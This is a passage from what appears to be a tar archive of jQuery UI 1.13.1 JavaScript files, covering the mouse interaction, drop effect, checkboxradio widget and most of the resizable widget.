o(document).on("mouseup",function(){n=!1}),o.widget("ui.mouse",{version:"1.13.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).on("click."+this.widgetName,function(e){if(!0===o.data(e.target,t.widgetName+".preventClickEvent"))return o.removeData(e.target,t.widgetName+".preventClickEvent"),e.stopImmediatePropagation(),!1}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){var t,s,i;if(!n)return this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e,t=this,s=1===e.which,i=!("string"!=typeof this.options.cancel||!e.target.nodeName)&&o(e.target).closest(this.options.cancel).length,!(s&&!i&&this._mouseCapture(e))||(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){t.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=!1!==this._mouseStart(e),!this._mouseStarted)?(e.preventDefault(),!0):(!0===o.data(e.target,this.widgetName+".preventClickEvent")&&o.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return t._mouseMove(e)},this._mouseUpDelegate=function(e){return t._mouseUp(e)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),n=!0))},_mouseMove:function(e){if(this._mouseMoved){if(o.ui.ie&&(!document.documentMode||document.documentMode<9)&&!e.button)return this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,e),this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&o.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,n=!1,e.preventDefault()},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-drop.min.js���������������������������������������������������������������������0000644�����������������00000001341�14717703502�0012437 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Drop 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(r){"use strict";return r.effects.define("drop","hide",function(e,t){var i,n=r(this),o="show"===e.mode,f=e.direction||"left",c="up"===f||"down"===f?"top":"left",f="up"===f||"left"===f?"-=":"+=",u="+="==f?"-=":"+=",d={opacity:0};r.effects.createPlaceholder(n),i=e.distance||n["top"==c?"outerHeight":"outerWidth"](!0)/2,d[c]=f+i,o&&(n.css(d),d[c]=u+i,d.opacity=1),n.animate(d,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/checkboxradio.js�����������������������������������������������������������������������0000644�����������������00000016436�14717703502�0012277 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Checkboxradio 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Checkboxradio //>>group: Widgets //>>description: Enhances a form with multiple themeable checkboxes or radio buttons. //>>docs: http://api.jqueryui.com/checkboxradio/ //>>demos: http://jqueryui.com/checkboxradio/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/button.css //>>css.structure: ../../themes/base/checkboxradio.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.checkboxradio", [ $.ui.formResetMixin, { version: "1.13.1", options: { disabled: null, label: null, icon: true, classes: { "ui-checkboxradio-label": "ui-corner-all", "ui-checkboxradio-icon": "ui-corner-all" } }, _getCreateOptions: function() { var disabled, labels; var that = this; var options = this._super() || {}; // We read the type here, because it makes more sense to throw a element type error first, // rather then the error for lack of a label. Often if its the wrong type, it // won't have a label (e.g. calling on a div, btn, etc) this._readType(); labels = this.element.labels(); // If there are multiple labels, use the last one this.label = $( labels[ labels.length - 1 ] ); if ( !this.label.length ) { $.error( "No label found for checkboxradio widget" ); } this.originalLabel = ""; // We need to get the label text but this may also need to make sure it does not contain the // input itself. this.label.contents().not( this.element[ 0 ] ).each( function() { // The label contents could be text, html, or a mix. We concat each element to get a // string representation of the label, without the input as part of it. that.originalLabel += this.nodeType === 3 ? $( this ).text() : this.outerHTML; } ); // Set the label option if we found label text if ( this.originalLabel ) { options.label = this.originalLabel; } disabled = this.element[ 0 ].disabled; if ( disabled != null ) { options.disabled = disabled; } return options; }, _create: function() { var checked = this.element[ 0 ].checked; this._bindFormResetHandler(); if ( this.options.disabled == null ) { this.options.disabled = this.element[ 0 ].disabled; } this._setOption( "disabled", this.options.disabled ); this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" ); this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" ); if ( this.type === "radio" ) { this._addClass( this.label, "ui-checkboxradio-radio-label" ); } if ( this.options.label && this.options.label !== this.originalLabel ) { this._updateLabel(); } else if ( this.originalLabel ) { this.options.label = this.originalLabel; } this._enhance(); if ( checked ) { this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" ); } this._on( { change: "_toggleClasses", focus: function() { this._addClass( this.label, null, "ui-state-focus ui-visual-focus" ); }, blur: function() { this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" ); } } ); }, _readType: function() { var nodeName = this.element[ 0 ].nodeName.toLowerCase(); this.type = this.element[ 0 ].type; if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) { $.error( "Can't create checkboxradio on element.nodeName=" + nodeName + " and element.type=" + this.type ); } }, // Support jQuery Mobile enhanced option _enhance: function() { this._updateIcon( this.element[ 0 ].checked ); }, widget: function() { return this.label; }, _getRadioGroup: function() { var group; var name = this.element[ 0 ].name; var nameSelector = "input[name='" + $.escapeSelector( name ) + "']"; if ( !name ) { return $( [] ); } if ( this.form.length ) { group = $( this.form[ 0 ].elements ).filter( nameSelector ); } else { // Not inside a form, check all inputs that also are not inside a form group = $( nameSelector ).filter( function() { return $( this )._form().length === 0; } ); } return group.not( this.element ); }, _toggleClasses: function() { var checked = this.element[ 0 ].checked; this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); if ( this.options.icon && this.type === "checkbox" ) { this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked ) ._toggleClass( this.icon, null, "ui-icon-blank", !checked ); } if ( this.type === "radio" ) { this._getRadioGroup() .each( function() { var instance = $( this ).checkboxradio( "instance" ); if ( instance ) { instance._removeClass( instance.label, "ui-checkboxradio-checked", "ui-state-active" ); } } ); } }, _destroy: function() { this._unbindFormResetHandler(); if ( this.icon ) { this.icon.remove(); this.iconSpace.remove(); } }, _setOption: function( key, value ) { // We don't allow the value to be set to nothing if ( key === "label" && !value ) { return; } this._super( key, value ); if ( key === "disabled" ) { this._toggleClass( this.label, null, "ui-state-disabled", value ); this.element[ 0 ].disabled = value; // Don't refresh when setting disabled return; } this.refresh(); }, _updateIcon: function( checked ) { var toAdd = "ui-icon ui-icon-background "; if ( this.options.icon ) { if ( !this.icon ) { this.icon = $( "<span>" ); this.iconSpace = $( "<span> </span>" ); this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" ); } if ( this.type === "checkbox" ) { toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank"; this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" ); } else { toAdd += "ui-icon-blank"; } this._addClass( this.icon, "ui-checkboxradio-icon", toAdd ); if ( !checked ) { this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" ); } this.icon.prependTo( this.label ).after( this.iconSpace ); } else if ( this.icon !== undefined ) { this.icon.remove(); this.iconSpace.remove(); delete this.icon; } }, _updateLabel: function() { // Remove the contents of the label ( minus the icon, icon space, and input ) var contents = this.label.contents().not( this.element[ 0 ] ); if ( this.icon ) { contents = contents.not( this.icon[ 0 ] ); } if ( this.iconSpace ) { contents = contents.not( this.iconSpace[ 0 ] ); } contents.remove(); this.label.append( this.options.label ); }, refresh: function() { var checked = this.element[ 0 ].checked, isDisabled = this.element[ 0 ].disabled; this._updateIcon( checked ); this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); if ( this.options.label !== null ) { this._updateLabel(); } if ( isDisabled !== this.options.disabled ) { this._setOptions( { "disabled": isDisabled } ); } } } ] ); return $.ui.checkboxradio; } ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/resizable.js���������������������������������������������������������������������������0000644�����������������00000073152�14717703502�0011450 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Resizable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Resizable //>>group: Interactions //>>description: Enables resize functionality for any element. //>>docs: http://api.jqueryui.com/resizable/ //>>demos: http://jqueryui.com/resizable/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/resizable.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.resizable", $.ui.mouse, { version: "1.13.1", widgetEventPrefix: "resize", options: { alsoResize: false, animate: false, animateDuration: "slow", animateEasing: "swing", aspectRatio: false, autoHide: false, classes: { "ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se" }, containment: false, ghost: false, grid: false, handles: "e,s,se", helper: false, maxHeight: null, maxWidth: null, minHeight: 10, minWidth: 10, // See #7960 zIndex: 90, // Callbacks resize: null, start: null, stop: null }, _num: function( value ) { return parseFloat( value ) || 0; }, _isNumber: function( value ) { return !isNaN( parseFloat( value ) ); }, _hasScroll: function( el, a ) { if ( $( el ).css( "overflow" ) === "hidden" ) { return false; } var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop", has = false; if ( el[ scroll ] > 0 ) { return true; } // TODO: determine which cases actually cause this to happen // if the element doesn't have the scroll set, see if it's possible to // set the scroll try { el[ scroll ] = 1; has = ( el[ scroll ] > 0 ); el[ scroll ] = 0; } catch ( e ) { // `el` might be a string, then setting `scroll` will throw // an error in strict mode; ignore it. } return has; }, _create: function() { var margins, o = this.options, that = this; this._addClass( "ui-resizable" ); $.extend( this, { _aspectRatio: !!( o.aspectRatio ), aspectRatio: o.aspectRatio, originalElement: this.element, _proportionallyResizeElements: [], _helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null } ); // Wrap the element if it cannot hold child nodes if ( this.element[ 0 ].nodeName.match( /^(canvas|textarea|input|select|button|img)$/i ) ) { this.element.wrap( $( "<div class='ui-wrapper'></div>" ).css( { overflow: "hidden", position: this.element.css( "position" ), width: this.element.outerWidth(), height: this.element.outerHeight(), top: this.element.css( "top" ), left: this.element.css( "left" ) } ) ); this.element = this.element.parent().data( "ui-resizable", this.element.resizable( "instance" ) ); this.elementIsWrapper = true; margins = { marginTop: this.originalElement.css( "marginTop" ), marginRight: this.originalElement.css( "marginRight" ), marginBottom: this.originalElement.css( "marginBottom" ), marginLeft: this.originalElement.css( "marginLeft" ) }; this.element.css( margins ); this.originalElement.css( "margin", 0 ); // support: Safari // Prevent Safari textarea resize this.originalResizeStyle = this.originalElement.css( "resize" ); this.originalElement.css( "resize", "none" ); this._proportionallyResizeElements.push( this.originalElement.css( { position: "static", zoom: 1, display: "block" } ) ); // Support: IE9 // avoid IE jump (hard set the margin) this.originalElement.css( margins ); this._proportionallyResize(); } this._setupHandles(); if ( o.autoHide ) { $( this.element ) .on( "mouseenter", function() { if ( o.disabled ) { return; } that._removeClass( "ui-resizable-autohide" ); that._handles.show(); } ) .on( "mouseleave", function() { if ( o.disabled ) { return; } if ( !that.resizing ) { that._addClass( "ui-resizable-autohide" ); that._handles.hide(); } } ); } this._mouseInit(); }, _destroy: function() { this._mouseDestroy(); this._addedHandles.remove(); var wrapper, _destroy = function( exp ) { $( exp ) .removeData( "resizable" ) .removeData( "ui-resizable" ) .off( ".resizable" ); }; // TODO: Unwrap at same DOM position if ( this.elementIsWrapper ) { _destroy( this.element ); wrapper = this.element; this.originalElement.css( { position: wrapper.css( "position" ), width: wrapper.outerWidth(), height: wrapper.outerHeight(), top: wrapper.css( "top" ), left: wrapper.css( "left" ) } ).insertAfter( wrapper ); wrapper.remove(); } this.originalElement.css( "resize", this.originalResizeStyle ); _destroy( this.originalElement ); return this; }, _setOption: function( key, value ) { this._super( key, value ); switch ( key ) { case "handles": this._removeHandles(); this._setupHandles(); break; case "aspectRatio": this._aspectRatio = !!value; break; default: break; } }, _setupHandles: function() { var o = this.options, handle, i, n, hname, axis, that = this; this.handles = o.handles || ( !$( ".ui-resizable-handle", this.element ).length ? "e,s,se" : { n: ".ui-resizable-n", e: ".ui-resizable-e", s: ".ui-resizable-s", w: ".ui-resizable-w", se: ".ui-resizable-se", sw: ".ui-resizable-sw", ne: ".ui-resizable-ne", nw: ".ui-resizable-nw" } ); this._handles = $(); this._addedHandles = $(); if ( this.handles.constructor === String ) { if ( this.handles === "all" ) { this.handles = "n,e,s,w,se,sw,ne,nw"; } n = this.handles.split( "," ); this.handles = {}; for ( i = 0; i < n.length; i++ ) { handle = String.prototype.trim.call( n[ i ] ); hname = "ui-resizable-" + handle; axis = $( "<div>" ); this._addClass( axis, "ui-resizable-handle " + hname ); axis.css( { zIndex: o.zIndex } ); this.handles[ handle ] = ".ui-resizable-" + handle; if ( !this.element.children( this.handles[ handle ] ).length ) { this.element.append( axis ); this._addedHandles = this._addedHandles.add( axis ); } } } this._renderAxis = function( target ) { var i, axis, padPos, padWrapper; target = target || this.element; for ( i in this.handles ) { if ( this.handles[ i ].constructor === String ) { this.handles[ i ] = this.element.children( this.handles[ i ] ).first().show(); } else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) { this.handles[ i ] = $( this.handles[ i ] ); this._on( this.handles[ i ], { "mousedown": that._mouseDown } ); } if ( this.elementIsWrapper && this.originalElement[ 0 ] .nodeName .match( /^(textarea|input|select|button)$/i ) ) { axis = $( this.handles[ i ], this.element ); padWrapper = /sw|ne|nw|se|n|s/.test( i ) ? axis.outerHeight() : axis.outerWidth(); padPos = [ "padding", /ne|nw|n/.test( i ) ? "Top" : /se|sw|s/.test( i ) ? "Bottom" : /^e$/.test( i ) ? "Right" : "Left" ].join( "" ); target.css( padPos, padWrapper ); this._proportionallyResize(); } this._handles = this._handles.add( this.handles[ i ] ); } }; // TODO: make renderAxis a prototype function this._renderAxis( this.element ); this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) ); this._handles.disableSelection(); this._handles.on( "mouseover", function() { if ( !that.resizing ) { if ( this.className ) { axis = this.className.match( /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i ); } that.axis = axis && axis[ 1 ] ? axis[ 1 ] : "se"; } } ); if ( o.autoHide ) { this._handles.hide(); this._addClass( "ui-resizable-autohide" ); } }, _removeHandles: function() { this._addedHandles.remove(); }, _mouseCapture: function( event ) { var i, handle, capture = false; for ( i in this.handles ) { handle = $( this.handles[ i ] )[ 0 ]; if ( handle === event.target || $.contains( handle, event.target ) ) { capture = true; } } return !this.options.disabled && capture; }, _mouseStart: function( event ) { var curleft, curtop, cursor, o = this.options, el = this.element; this.resizing = true; this._renderProxy(); curleft = this._num( this.helper.css( "left" ) ); curtop = this._num( this.helper.css( "top" ) ); if ( o.containment ) { curleft += $( o.containment ).scrollLeft() || 0; curtop += $( o.containment ).scrollTop() || 0; } this.offset = this.helper.offset(); this.position = { left: curleft, top: curtop }; this.size = this._helper ? { width: this.helper.width(), height: this.helper.height() } : { width: el.width(), height: el.height() }; this.originalSize = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() }; this.sizeDiff = { width: el.outerWidth() - el.width(), height: el.outerHeight() - el.height() }; this.originalPosition = { left: curleft, top: curtop }; this.originalMousePosition = { left: event.pageX, top: event.pageY }; this.aspectRatio = ( typeof o.aspectRatio === "number" ) ? o.aspectRatio : ( ( this.originalSize.width / this.originalSize.height ) || 1 ); cursor = $( ".ui-resizable-" + this.axis ).css( "cursor" ); $( "body" ).css( "cursor", cursor === "auto" ? this.axis + "-resize" : cursor ); this._addClass( "ui-resizable-resizing" ); this._propagate( "start", event ); return true; }, _mouseDrag: function( event ) { var data, props, smp = this.originalMousePosition, a = this.axis, dx = ( event.pageX - smp.left ) || 0, dy = ( event.pageY - smp.top ) || 0, trigger = this._change[ a ]; this._updatePrevProperties(); if ( !trigger ) { return false; } data = trigger.apply( this, [ event, dx, dy ] ); this._updateVirtualBoundaries( event.shiftKey ); if ( this._aspectRatio || event.shiftKey ) { data = this._updateRatio( data, event ); } data = this._respectSize( data, event ); this._updateCache( data ); this._propagate( "resize", event ); props = this._applyChanges(); if ( !this._helper && this._proportionallyResizeElements.length ) { this._proportionallyResize(); } if ( !$.isEmptyObject( props ) ) { this._updatePrevProperties(); this._trigger( "resize", event, this.ui() ); this._applyChanges(); } return false; }, _mouseStop: function( event ) { this.resizing = false; var pr, ista, soffseth, soffsetw, s, left, top, o = this.options, that = this; if ( this._helper ) { pr = this._proportionallyResizeElements; ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ); soffseth = ista && this._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height; soffsetw = ista ? 0 : that.sizeDiff.width; s = { width: ( that.helper.width() - soffsetw ), height: ( that.helper.height() - soffseth ) }; left = ( parseFloat( that.element.css( "left" ) ) + ( that.position.left - that.originalPosition.left ) ) || null; top = ( parseFloat( that.element.css( "top" ) ) + ( that.position.top - that.originalPosition.top ) ) || null; if ( !o.animate ) { this.element.css( $.extend( s, { top: top, left: left } ) ); } that.helper.height( that.size.height ); that.helper.width( that.size.width ); if ( this._helper && !o.animate ) { this._proportionallyResize(); } } $( "body" ).css( "cursor", "auto" ); this._removeClass( "ui-resizable-resizing" ); this._propagate( "stop", event ); if ( this._helper ) { this.helper.remove(); } return false; }, _updatePrevProperties: function() { this.prevPosition = { top: this.position.top, left: this.position.left }; this.prevSize = { width: this.size.width, height: this.size.height }; }, _applyChanges: function() { var props = {}; if ( this.position.top !== this.prevPosition.top ) { props.top = this.position.top + "px"; } if ( this.position.left !== this.prevPosition.left ) { props.left = this.position.left + "px"; } if ( this.size.width !== this.prevSize.width ) { props.width = this.size.width + "px"; } if ( this.size.height !== this.prevSize.height ) { props.height = this.size.height + "px"; } this.helper.css( props ); return props; }, _updateVirtualBoundaries: function( forceAspectRatio ) { var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b, o = this.options; b = { minWidth: this._isNumber( o.minWidth ) ? o.minWidth : 0, maxWidth: this._isNumber( o.maxWidth ) ? o.maxWidth : Infinity, minHeight: this._isNumber( o.minHeight ) ? o.minHeight : 0, maxHeight: this._isNumber( o.maxHeight ) ? o.maxHeight : Infinity }; if ( this._aspectRatio || forceAspectRatio ) { pMinWidth = b.minHeight * this.aspectRatio; pMinHeight = b.minWidth / this.aspectRatio; pMaxWidth = b.maxHeight * this.aspectRatio; pMaxHeight = b.maxWidth / this.aspectRatio; if ( pMinWidth > b.minWidth ) { b.minWidth = pMinWidth; } if ( pMinHeight > b.minHeight ) { b.minHeight = pMinHeight; } if ( pMaxWidth < b.maxWidth ) { b.maxWidth = pMaxWidth; } if ( pMaxHeight < b.maxHeight ) { b.maxHeight = pMaxHeight; } } this._vBoundaries = b; }, _updateCache: function( data ) { this.offset = this.helper.offset(); if ( this._isNumber( data.left ) ) { this.position.left = data.left; } if ( this._isNumber( data.top ) ) { this.position.top = data.top; } if ( this._isNumber( data.height ) ) { this.size.height = data.height; } if ( this._isNumber( data.width ) ) { this.size.width = data.width; } }, _updateRatio: function( data ) { var cpos = this.position, csize = this.size, a = this.axis; if ( this._isNumber( data.height ) ) { data.width = ( data.height * this.aspectRatio ); } else if ( this._isNumber( data.width ) ) { data.height = ( data.width / this.aspectRatio ); } if ( a === "sw" ) { data.left = cpos.left + ( csize.width - data.width ); data.top = null; } if ( a === "nw" ) { data.top = cpos.top + ( csize.height - data.height ); data.left = cpos.left + ( csize.width - data.width ); } return data; }, _respectSize: function( data ) { var o = this._vBoundaries, a = this.axis, ismaxw = this._isNumber( data.width ) && o.maxWidth && ( o.maxWidth < data.width ), ismaxh = this._isNumber( data.height ) && o.maxHeight && ( o.maxHeight < data.height ), isminw = this._isNumber( data.width ) && o.minWidth && ( o.minWidth > data.width ), isminh = this._isNumber( data.height ) && o.minHeight && ( o.minHeight > data.height ), dw = this.originalPosition.left + this.originalSize.width, dh = this.originalPosition.top + this.originalSize.height, cw = /sw|nw|w/.test( a ), ch = /nw|ne|n/.test( a ); if ( isminw ) { data.width = o.minWidth; } if ( isminh ) { data.height = o.minHeight; } if ( ismaxw ) { data.width = o.maxWidth; } if ( ismaxh ) { data.height = o.maxHeight; } if ( isminw && cw ) { data.left = dw - o.minWidth; } if ( ismaxw && cw ) { data.left = dw - o.maxWidth; } if ( isminh && ch ) { data.top = dh - o.minHeight; } if ( ismaxh && ch ) { data.top = dh - o.maxHeight; } // Fixing jump error on top/left - bug #2330 if ( !data.width && !data.height && !data.left && data.top ) { data.top = null; } else if ( !data.width && !data.height && !data.top && data.left ) { data.left = null; } return data; }, _getPaddingPlusBorderDimensions: function( element ) { var i = 0, widths = [], borders = [ element.css( "borderTopWidth" ), element.css( "borderRightWidth" ), element.css( "borderBottomWidth" ), element.css( "borderLeftWidth" ) ], paddings = [ element.css( "paddingTop" ), element.css( "paddingRight" ), element.css( "paddingBottom" ), element.css( "paddingLeft" ) ]; for ( ; i < 4; i++ ) { widths[ i ] = ( parseFloat( borders[ i ] ) || 0 ); widths[ i ] += ( parseFloat( paddings[ i ] ) || 0 ); } return { height: widths[ 0 ] + widths[ 2 ], width: widths[ 1 ] + widths[ 3 ] }; }, _proportionallyResize: function() { if ( !this._proportionallyResizeElements.length ) { return; } var prel, i = 0, element = this.helper || this.element; for ( ; i < this._proportionallyResizeElements.length; i++ ) { prel = this._proportionallyResizeElements[ i ]; // TODO: Seems like a bug to cache this.outerDimensions // considering that we are in a loop. if ( !this.outerDimensions ) { this.outerDimensions = this._getPaddingPlusBorderDimensions( prel ); } prel.css( { height: ( element.height() - this.outerDimensions.height ) || 0, width: ( element.width() - this.outerDimensions.width ) || 0 } ); } }, _renderProxy: function() { var el = this.element, o = this.options; this.elementOffset = el.offset(); if ( this._helper ) { this.helper = this.helper || $( "<div></div>" ).css( { overflow: "hidden" } ); this._addClass( this.helper, this._helper ); this.helper.css( { width: this.element.outerWidth(), height: this.element.outerHeight(), position: "absolute", left: this.elementOffset.left + "px", top: this.elementOffset.top + "px", zIndex: ++o.zIndex //TODO: Don't modify option } ); this.helper .appendTo( "body" ) .disableSelection(); } else { this.helper = this.element; } }, _change: { e: function( event, dx ) { return { width: this.originalSize.width + dx }; }, w: function( event, dx ) { var cs = this.originalSize, sp = this.originalPosition; return { left: sp.left + dx, width: cs.width - dx }; }, n: function( event, dx, dy ) { var cs = this.originalSize, sp = this.originalPosition; return { top: sp.top + dy, height: cs.height - dy }; }, s: function( event, dx, dy ) { return { height: this.originalSize.height + dy }; }, se: function( event, dx, dy ) { return $.extend( this._change.s.apply( this, arguments ), this._change.e.apply( this, [ event, dx, dy ] ) ); }, sw: function( event, dx, dy ) { return $.extend( this._change.s.apply( this, arguments ), this._change.w.apply( this, [ event, dx, dy ] ) ); }, ne: function( event, dx, dy ) { return $.extend( this._change.n.apply( this, arguments ), this._change.e.apply( this, [ event, dx, dy ] ) ); }, nw: function( event, dx, dy ) { return $.extend( this._change.n.apply( this, arguments ), this._change.w.apply( this, [ event, dx, dy ] ) ); } }, _propagate: function( n, event ) { $.ui.plugin.call( this, n, [ event, this.ui() ] ); if ( n !== "resize" ) { this._trigger( n, event, this.ui() ); } }, plugins: {}, ui: function() { return { originalElement: this.originalElement, element: this.element, helper: this.helper, position: this.position, size: this.size, originalSize: this.originalSize, originalPosition: this.originalPosition }; } } ); /* * Resizable Extensions */ $.ui.plugin.add( "resizable", "animate", { stop: function( event ) { var that = $( this ).resizable( "instance" ), o = that.options, pr = that._proportionallyResizeElements, ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ), soffseth = ista && that._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height, soffsetw = ista ? 0 : that.sizeDiff.width, style = { width: ( that.size.width - soffsetw ), height: ( that.size.height - soffseth ) }, left = ( parseFloat( that.element.css( "left" ) ) + ( that.position.left - that.originalPosition.left ) ) || null, top = ( parseFloat( that.element.css( "top" ) ) + ( that.position.top - that.originalPosition.top ) ) || null; that.element.animate( $.extend( style, top && left ? { top: top, left: left } : {} ), { duration: o.animateDuration, easing: o.animateEasing, step: function() { var data = { width: parseFloat( that.element.css( "width" ) ), height: parseFloat( that.element.css( "height" ) ), top: parseFloat( that.element.css( "top" ) ), left: parseFloat( that.element.css( "left" ) ) }; if ( pr && pr.length ) { $( pr[ 0 ] ).css( { width: data.width, height: data.height } ); } // Propagating resize, and updating values for each animation step that._updateCache( data ); that._propagate( "resize", event ); } } ); } } ); $.ui.plugin.add( "resizable", "containment", { start: function() { var element, p, co, ch, cw, width, height, that = $( this ).resizable( "instance" ), o = that.options, el = that.element, oc = o.containment, ce = ( oc instanceof $ ) ? oc.get( 0 ) : ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc; if ( !ce ) { return; } that.containerElement = $( ce ); if ( /document/.test( oc ) || oc === document ) { that.containerOffset = { left: 0, top: 0 }; that.containerPosition = { left: 0, top: 0 }; that.parentData = { element: $( document ), left: 0, top: 0, width: $( document ).width(), height: $( document ).height() || document.body.parentNode.scrollHeight }; } else { element = $( ce ); p = []; $( [ "Top", "Right", "Left", "Bottom" ] ).each( function( i, name ) { p[ i ] = that._num( element.css( "padding" + name ) ); } ); that.containerOffset = element.offset(); that.containerPosition = element.position(); that.containerSize = { height: ( element.innerHeight() - p[ 3 ] ), width: ( element.innerWidth() - p[ 1 ] ) }; co = that.containerOffset; ch = that.containerSize.height; cw = that.containerSize.width; width = ( that._hasScroll( ce, "left" ) ? ce.scrollWidth : cw ); height = ( that._hasScroll( ce ) ? ce.scrollHeight : ch ); that.parentData = { element: ce, left: co.left, top: co.top, width: width, height: height }; } }, resize: function( event ) { var woset, hoset, isParent, isOffsetRelative, that = $( this ).resizable( "instance" ), o = that.options, co = that.containerOffset, cp = that.position, pRatio = that._aspectRatio || event.shiftKey, cop = { top: 0, left: 0 }, ce = that.containerElement, continueResize = true; if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) { cop = co; } if ( cp.left < ( that._helper ? co.left : 0 ) ) { that.size.width = that.size.width + ( that._helper ? ( that.position.left - co.left ) : ( that.position.left - cop.left ) ); if ( pRatio ) { that.size.height = that.size.width / that.aspectRatio; continueResize = false; } that.position.left = o.helper ? co.left : 0; } if ( cp.top < ( that._helper ? co.top : 0 ) ) { that.size.height = that.size.height + ( that._helper ? ( that.position.top - co.top ) : that.position.top ); if ( pRatio ) { that.size.width = that.size.height * that.aspectRatio; continueResize = false; } that.position.top = that._helper ? co.top : 0; } isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 ); isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) ); if ( isParent && isOffsetRelative ) { that.offset.left = that.parentData.left + that.position.left; that.offset.top = that.parentData.top + that.position.top; } else { that.offset.left = that.element.offset().left; that.offset.top = that.element.offset().top; } woset = Math.abs( that.sizeDiff.width + ( that._helper ? that.offset.left - cop.left : ( that.offset.left - co.left ) ) ); hoset = Math.abs( that.sizeDiff.height + ( that._helper ? that.offset.top - cop.top : ( that.offset.top - co.top ) ) ); if ( woset + that.size.width >= that.parentData.width ) { that.size.width = that.parentData.width - woset; if ( pRatio ) { that.size.height = that.size.width / 